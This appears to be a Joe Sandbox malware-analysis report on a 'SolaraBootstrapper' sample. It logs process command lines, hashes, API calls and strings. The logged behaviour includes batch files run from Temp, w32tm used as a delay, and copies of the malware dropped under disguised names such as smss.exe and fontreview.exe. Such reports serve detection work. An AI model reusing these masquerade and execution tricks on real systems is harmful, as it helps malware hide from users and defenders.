MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	10:30:02
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff67e6d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:30:03
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	10:30:03
Start date:	29/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\hKSsSsDflU.bat"
Imagebase:	0x7ff79bbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:30:03
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:30:04
Start date:	29/06/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff6c2890000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:30:04
Start date:	29/06/2024
Path:	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
Imagebase:	0xf50000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:30:04
Start date:	29/06/2024
Path:	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
Imagebase:	0x810000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:30:05
Start date:	29/06/2024
Path:	C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
Imagebase:	0x10000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 81%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:30:05
Start date:	29/06/2024
Path:	C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
Imagebase:	0xd50000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:30:05
Start date:	29/06/2024
Path:	C:\Program Files\Uninstall Information\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Uninstall Information\smss.exe"
Imagebase:	0x840000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:30:05
Start date:	29/06/2024
Path:	C:\Program Files\Uninstall Information\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Uninstall Information\smss.exe"
Imagebase:	0x240000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:30:09
Start date:	29/06/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff605670000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	10:30:09
Start date:	29/06/2024
Path:	C:\Program Files\Uninstall Information\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Uninstall Information\smss.exe"
Imagebase:	0x80000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:30:11
Start date:	29/06/2024
Path:	C:\Program Files\Uninstall Information\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Uninstall Information\smss.exe"
Imagebase:	0xae0000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:30:13
Start date:	29/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\d5cQTyHbvx.bat"
Imagebase:	0x7ff79bbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:30:13
Start date:	29/06/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs"
Imagebase:
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	10:30:13
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:30:14
Start date:	29/06/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff6c2890000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	10:30:19
Start date:	29/06/2024
Path:	C:\Program Files\Uninstall Information\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Uninstall Information\smss.exe"
Imagebase:	0xc0000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	10:30:19
Start date:	29/06/2024
Path:	C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
Imagebase:	0x740000
File size:	1'093'120 bytes
MD5 hash:	D59145E6DDAD7699D0C9C5E1416229F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:30:21
Start date:	29/06/2024
Path:	C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"
Imagebase:	0x1f1f6e90000
File size:	92'160 bytes
MD5 hash:	D84E7F79F4F0D7074802D2D6E6F3579E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 25%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	10:30:26
Start date:	29/06/2024
Path:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=1 --edge-webview-custom-scheme --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=8236.8364.12592772921388262900
Imagebase:	0x7ff62e2e0000
File size:	3'749'328 bytes
MD5 hash:	9909D978B39FB7369F511D8506C17CA0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	10:30:47
Start date:	29/06/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 167
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(6A4ABC5B,EC0E4EA4,?), ref: 004010E3
LoadLibraryW.KERNELBASE(6A4ABC5B,EC0E4EA4,?), ref: 004011CF
ExitProcess.KERNEL32(6A4ABC5B,73E2D87E,00000000,00000001,00434067,0015843D,Boostraper.bat,00000000,00000001,00000006,gLA,0001F400,Bootstrapper.exe,00000004,00000001,00000002), ref: 00401282

Strings

gLA, xrefs: 0040123B
Bootstrapper.exe, xrefs: 004011E3
Bootstrapper.exe, xrefs: 00401233
Boostraper.bat, xrefs: 0040125B
SolaraBootstrapper.exe, xrefs: 0040120B

Memory Dump Source

Source File: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1374770697.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1375179967.0000000000654000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1375203058.0000000000655000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SolaraBootstrapper.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ExitProcess
String ID: Boostraper.bat$Bootstrapper.exe$Bootstrapper.exe$SolaraBootstrapper.exe$gLA
API String ID: 2044099736-2004730096
Opcode ID: 181f03797109ebd1fd4e38e2c85ac7454716ed3217a86aa35d5573d961e57d22
Instruction ID: b7e7e12d928e56bfcd9abf1ade00ff193142ce4b3dfe0818d17db48933d3b1d7
Opcode Fuzzy Hash: 181f03797109ebd1fd4e38e2c85ac7454716ed3217a86aa35d5573d961e57d22
Instruction Fuzzy Hash: 60510D202602099EDB50AFF1D819EC57770EF14324F4AE0AADD047F2B2E77A9605D76E

Function 0040137A Relevance: 7.8, APIs: 5, Instructions: 294
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(6A4ABC5B,C2FFB03B,?), ref: 004016A6
CreateFileW.KERNELBASE(6A4ABC5B,7C0017BB,?,40000000,00000000,00000000,00000002,00000009,00000000), ref: 004016CE
WriteFile.KERNELBASE(6A4ABC5B,E80A791F,?,?,00010000,?,00000000), ref: 004016F9
FindCloseChangeNotification.KERNELBASE(6A4ABC5B,0FFD97FB,?), ref: 0040171B
ShellExecuteW.SHELL32(40F1A814,1BE1BB74,00000000,?,?,00000000,00000000,00000005), ref: 004017CB

Memory Dump Source

Source File: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1374770697.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1375179967.0000000000654000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1375203058.0000000000655000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SolaraBootstrapper.jbxd

Yara matches

Similarity

API ID: File$ChangeCloseCreateDeleteExecuteFindNotificationShellWrite
String ID:
API String ID: 1340438571-0
Opcode ID: 30a82f0263d745193cbdd8f0049d5c58214a7d792ea6077ba48cd544ba5d18b4
Instruction ID: 0b9fb42216a85d88048fd7f398a3342f5ecd0161bcaa1aeaa1535a432c9e1f23
Opcode Fuzzy Hash: 30a82f0263d745193cbdd8f0049d5c58214a7d792ea6077ba48cd544ba5d18b4
Instruction Fuzzy Hash: 82A18670140209BEDB319BE1CC49FAA76A4EF05714F1580BBFB04BB1F1D6799944CB6A

Analysis Process: Bootstrapper.exePID: 7584, Parent PID: 7488COMMON

Execution Graph

Execution Coverage:	36.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	50%
Total number of Nodes:	36
Total number of Limit Nodes:	6

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0041EDFC Relevance: 28.6, APIs: 18, Instructions: 1604
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0041EE22
memset.MSVCRT ref: 0041EE7E
free.MSVCRT(?), ref: 0041EE9D
SetErrorMode.KERNELBASE(00000400), ref: 0041EEB2
SetErrorMode.KERNELBASE(00000000), ref: 0041EEBE
VirtualAllocExNuma.KERNELBASE(000000FF,00000000,000003E8,00003000,00000004,00000000), ref: 0041EF0C
GetComputerNameA.KERNEL32(?,00000104), ref: 0041EF60
strcmp.MSVCRT ref: 0041F08C
strcmp.MSVCRT ref: 0041F157
strcmp.MSVCRT ref: 0041F21C
strcmp.MSVCRT ref: 0041F2BB
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041F2FC
PathFindFileNameA.KERNELBASE(?), ref: 0041F32A
strcpy.MSVCRT(?,00000000), ref: 0041F33C
_strcmpi.MSVCRT ref: 0041F93D
_strcmpi.MSVCRT ref: 0041FA59
_strcmpi.MSVCRT ref: 0041FB52
ExitProcess.KERNEL32 ref: 0041FBA3

Memory Dump Source

Source File: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1381638031.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381847327.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381877610.0000000000421000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Bootstrapper.jbxd

Yara matches

Similarity

API ID: strcmp$Name_strcmpi$ErrorFileMode$AllocComputerExitFindModuleNumaPathProcessVirtualfreemallocmemsetstrcpy
String ID:
API String ID: 515961956-0
Opcode ID: 5f357d98e7bc1d9154402a7f3e40cacfefb32802b29ad9ed4a66879559543e3b
Instruction ID: 56659dce52773ca165b81b0649d1af061eebf924f126fa77ce8ea366e639d068
Opcode Fuzzy Hash: 5f357d98e7bc1d9154402a7f3e40cacfefb32802b29ad9ed4a66879559543e3b
Instruction Fuzzy Hash: 2B8269F16891506DF313412A6D96FD76B47DBE2330F1D807EB44B8BB43EA1D892AC1A1

Function 0041E9D1 Relevance: 9.5, APIs: 6, Instructions: 501
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041EDFC: malloc.MSVCRT ref: 0041EE22
Part of subcall function 0041EDFC: memset.MSVCRT ref: 0041EE7E
Part of subcall function 0041EDFC: free.MSVCRT(?), ref: 0041EE9D
Part of subcall function 0041EDFC: SetErrorMode.KERNELBASE(00000400), ref: 0041EEB2
Part of subcall function 0041EDFC: SetErrorMode.KERNELBASE(00000000), ref: 0041EEBE
Part of subcall function 0041EDFC: VirtualAllocExNuma.KERNELBASE(000000FF,00000000,000003E8,00003000,00000004,00000000), ref: 0041EF0C

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,AD1C4F4C), ref: 0041EB36
GetProcAddress.KERNEL32(?,?), ref: 0041ECC7
VirtualProtect.KERNELBASE(EntryPoint,00013BD7,00000004,?), ref: 0041ECFA
VirtualProtect.KERNELBASE(EntryPoint,00013BD7,00000020,?), ref: 0041ED91
CreateThread.KERNELBASE(00000000,00000000,EntryPoint,?,00000000,00000000), ref: 0041EDAD
Sleep.KERNELBASE(000003E8), ref: 0041EDC4

Memory Dump Source

Source File: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1381638031.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381847327.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381877610.0000000000421000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Bootstrapper.jbxd

Yara matches

Similarity

API ID: Virtual$ErrorModeProtect$AddressAllocCreateHandleModuleNumaProcSleepThreadfreemallocmemset
String ID:
API String ID: 2556141689-0
Opcode ID: 84b5e34f4861ba72be5cab06dec1786ea070360d6c8ebb0a90557472ce157945
Instruction ID: 7f713a1b37ca79e26b3172a905b488c0bc78042ee985ea645830378f15ddf78a
Opcode Fuzzy Hash: 84b5e34f4861ba72be5cab06dec1786ea070360d6c8ebb0a90557472ce157945
Instruction Fuzzy Hash: 38B1A0F26481103EF317525A6CD2FEB6A57DBD1330F18807EF90B9BB53EB29885581A1

Function 00401000 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(6A4ABC5B,EC0E4EA4,?), ref: 004010E3
LoadLibraryW.KERNELBASE(6A4ABC5B,EC0E4EA4,?), ref: 004011CF
ExitProcess.KERNEL32(6A4ABC5B,73E2D87E,00000000,00000002,004117D7,00003400,SolaraBootstrapper.exe,00000000,00000001,00000009,004017D7,00010000,Bootstrapper.exe,00000006,00000002), ref: 00401232

Strings

SolaraBootstrapper.exe, xrefs: 0040120B
Bootstrapper.exe, xrefs: 004011E3

Memory Dump Source

Source File: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1381638031.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381847327.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381877610.0000000000421000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Bootstrapper.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ExitProcess
String ID: Bootstrapper.exe$SolaraBootstrapper.exe
API String ID: 2044099736-3689899540
Opcode ID: 4d71fd95c907baf72de87b6fa298a19246b28ab0ae4282e730fed395bd18d037
Instruction ID: 87d3fee2f74b0b6c801954b17212487e8e9650ec8130cebc0ea2e8b4a4e619b4
Opcode Fuzzy Hash: 4d71fd95c907baf72de87b6fa298a19246b28ab0ae4282e730fed395bd18d037
Instruction Fuzzy Hash: BC51FC202702099ED710AFF1D819EC57770EF14324F4AD0AADD486F272E77A9605D76A

Function 0040132A Relevance: 6.3, APIs: 4, Instructions: 294
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(6A4ABC5B,C2FFB03B,?), ref: 00401656
CreateFileW.KERNELBASE(6A4ABC5B,7C0017BB,?,40000000,00000000,00000000,00000002,00000009,00000000), ref: 0040167E
WriteFile.KERNELBASE(6A4ABC5B,E80A791F,?,?,00010000,?,00000000), ref: 004016A9
ShellExecuteW.SHELL32(40F1A814,1BE1BB74,00000000,?,?,00000000,00000000,00000005), ref: 0040177B

Memory Dump Source

Source File: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1381638031.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381847327.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1381877610.0000000000421000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Bootstrapper.jbxd

Yara matches

Similarity

API ID: File$CreateDeleteExecuteShellWrite
String ID:
API String ID: 629076651-0
Opcode ID: 26774f38c71d9caa2273e755db78ce882d6a355b448ad9425de0b5ee4ac364f7
Instruction ID: 045d5128fa9b6a69f2ac5f0d4266ed3001af5a14a4897ee6c4a14862fa85c519
Opcode Fuzzy Hash: 26774f38c71d9caa2273e755db78ce882d6a355b448ad9425de0b5ee4ac364f7
Instruction Fuzzy Hash: 41A14470140209BEDB319BE5CC49FAA76A8EF05354F15807BF608BA1F1D67D9A44CB2A

Analysis Process: Boostraper.batPID: 7608, Parent PID: 7488COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.1%
Total number of Nodes:	1479
Total number of Limit Nodes:	29

Executed Functions

Function 0078D5D4 Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007800CF: GetModuleHandleW.KERNEL32(kernel32), ref: 007800E4
Part of subcall function 007800CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 007800F6
Part of subcall function 007800CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00780127

Part of subcall function 00789DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00789DAC

Part of subcall function 0078A335: OleInitialize.OLE32(00000000), ref: 0078A34E
Part of subcall function 0078A335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0078A385
Part of subcall function 0078A335: SHGetMalloc.SHELL32(007B8430), ref: 0078A38F

Part of subcall function 007813B3: GetCPInfo.KERNEL32(00000000,?), ref: 007813C4
Part of subcall function 007813B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 007813D8

GetCommandLineW.KERNEL32 ref: 0078D61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0078D643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0078D654
UnmapViewOfFile.KERNEL32(00000000), ref: 0078D68E

Part of subcall function 0078D287: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0078D29D
Part of subcall function 0078D287: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0078D2D9

CloseHandle.KERNEL32(00000000), ref: 0078D697
GetModuleFileNameW.KERNEL32(00000000,007CDC90,00000800), ref: 0078D6B2
SetEnvironmentVariableW.KERNEL32(sfxname,007CDC90), ref: 0078D6BE
GetLocalTime.KERNEL32(?), ref: 0078D6C9
_swprintf.LIBCMT ref: 0078D708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0078D71A
GetModuleHandleW.KERNEL32(00000000), ref: 0078D721
LoadIconW.USER32(00000000,00000064), ref: 0078D738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 0078D789
Sleep.KERNEL32(?), ref: 0078D7B7
DeleteObject.GDI32 ref: 0078D7F0
DeleteObject.GDI32(?), ref: 0078D800
CloseHandle.KERNEL32 ref: 0078D843

Strings

C:\Users\user\Desktop, xrefs: 0078D5E9
STARTDLG, xrefs: 0078D77E
sfxstime, xrefs: 0078D715
xj|, xrefs: 0078D7CB
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0078D6F9
sfxname, xrefs: 0078D6B9
winrarsfxmappingfile.tmp, xrefs: 0078D637

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xj|
API String ID: 788466649-1346289246
Opcode ID: 1aa44816f714e9e857c1c0b7e136897b185104c33b55c49e0840eb7d50e03389
Instruction ID: e5ce5824c2807d622e6ebfc0b3059284df7559434393a1c33786e75b8fff69c1
Opcode Fuzzy Hash: 1aa44816f714e9e857c1c0b7e136897b185104c33b55c49e0840eb7d50e03389
Instruction Fuzzy Hash: 5D61B1B1940245EFD330BFA5EC49F2B37ACAB85740F048529F54592192EB7CDD44C7AA

Function 00789E1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(0078AE4D,PNG,?,?,?,0078AE4D,00000066), ref: 00789E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,0078AE4D,00000066), ref: 00789E46
LoadResource.KERNEL32(00000000,?,?,?,0078AE4D,00000066), ref: 00789E59
LockResource.KERNEL32(00000000,?,?,?,0078AE4D,00000066), ref: 00789E64
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0078AE4D,00000066), ref: 00789E82
GlobalLock.KERNEL32(00000000,?,?,?,?,?,0078AE4D,00000066), ref: 00789E93
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00789EFC
GlobalUnlock.KERNEL32(00000000), ref: 00789F1B
GlobalFree.KERNEL32(00000000), ref: 00789F22

Strings

PNG, xrefs: 00789E1F

Memory Dump Source

